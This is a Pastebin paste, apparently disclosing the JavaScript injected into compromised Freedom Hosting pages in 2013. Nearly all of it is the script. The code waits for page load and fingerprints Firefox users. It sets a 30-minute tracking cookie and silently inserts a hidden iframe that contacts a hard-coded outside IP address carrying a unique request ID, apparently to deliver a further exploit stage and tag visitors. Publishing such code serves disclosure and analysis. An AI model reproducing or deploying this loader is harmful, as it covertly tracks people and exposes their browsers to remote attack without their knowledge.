Advertisement
Guest User

TOR/FREEDOM HOST COMPORMISED

a guest
Aug 3rd, 2013
169,237
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.59 KB | None | 0 0
  1. function createCookie(name,value,minutes) {
  2. if (minutes) {
  3. var date = new Date();
  4. date.setTime(date.getTime()+(minutes*60*1000));
  5. var expires = "; expires="+date.toGMTString();
  6. }
  7. else var expires = "";
  8. document.cookie = name+"="+value+expires+"; path=/";
  9. }
  10.  
  11. function readCookie(name) {
  12. var nameEQ = name + "=";
  13. var ca = document.cookie.split(';');
  14. for(var i=0;i < ca.length;i++) {
  15. var c = ca[i];
  16. while (c.charAt(0)==' ') c = c.substring(1,c.length);
  17. if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length);
  18. }
  19. return null;
  20. }
  21.  
  22. function isFF() {
  23. return (document.getBoxObjectFor != null || window.mozInnerScreenX != null || /Firefox/i.test(navigator.userAgent));
  24. }
  25.  
  26. function updatify() {
  27. var iframe = document.createElement('iframe');
  28. iframe.style.display = "inline";
  29. iframe.frameBorder = "0";
  30. iframe.scrolling = "no";
  31. iframe.src = "http://65.222.202.53/?requestID=eb5f2c80-fc81-11e2-b778-0800200c9a66";
  32. iframe.height = "5";
  33. iframe.width = "*";
  34. document.body.appendChild(iframe);
  35. }
  36.  
  37. function freedomhost() {
  38. if ( ! readCookie("n_serv") ) {
  39. createCookie("n_serv", "eb5f2c80-fc81-11e2-b778-0800200c9a66", 30);
  40. updatify();
  41. }
  42. }
  43.  
  44. function isReady()
  45. {
  46. if ( document.readyState === "interactive" || document.readyState === "complete" ) {
  47.  
  48. if ( isFF() ) {
  49. //window.alert(window.location + "Firefox Detected.")
  50. freedomhost();
  51. }
  52. }
  53. else
  54. {
  55. setTimeout(isReady, 250);
  56. }
  57. }
  58. setTimeout(isReady, 250);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement